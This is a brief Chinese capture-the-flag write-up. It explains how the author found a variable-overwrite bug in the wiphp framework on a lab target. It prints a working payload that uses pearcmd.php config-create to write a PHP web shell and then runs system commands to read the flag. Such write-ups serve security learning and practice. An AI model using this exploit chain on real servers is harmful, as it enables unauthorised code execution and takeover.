湖湘杯

前言

没想到直接出了一题找框架漏洞的。。

赛后根据wp复现下,靶机环境为buu

参考文章:第七届“湖湘杯”网络安全技能大赛WP (qq.com)

解题

image-20211117191742538

左上角有一段代码

image-20211117191827188

定义一个类,类中有变量name和value

这里看不出什么大概,于是去官网上下载了一个相近版本的源码

image-20211117192036759

接下来就是代码审计

image-20211117192235252

1
2
3
function assign($name, $value = null) {
\wiphp\View::assign($name, $value);
}

在hepler.php中找到name和value作为可控变量,那么这里就是切入点

跟进

image-20211117192404636

1
2
3
public static function assign($name, $value = null) {
if ($name != '') self::$vars[$name] = $value;
}

再根据view函数

image-20211117192539051

跟进

image-20211117192819699

发现变量覆盖

image-20211117192920609

image-20211117192938954

利用漏洞,

payload

1
?name=cfile&+config-create+/&value=/usr/local/lib/php/pearcmd.php&/<?=var_dump(system($_GET[1]));?>+/tmp/xq2.txt

image-20211117193028604

写入之后就是命令执行了

image-20211117193132293

image-20211117193201288

最后

1
?name=cfile&value=/tmp/xq2.txt&1=cat%20/flag32897328937298hdwidh

image-20211117193320690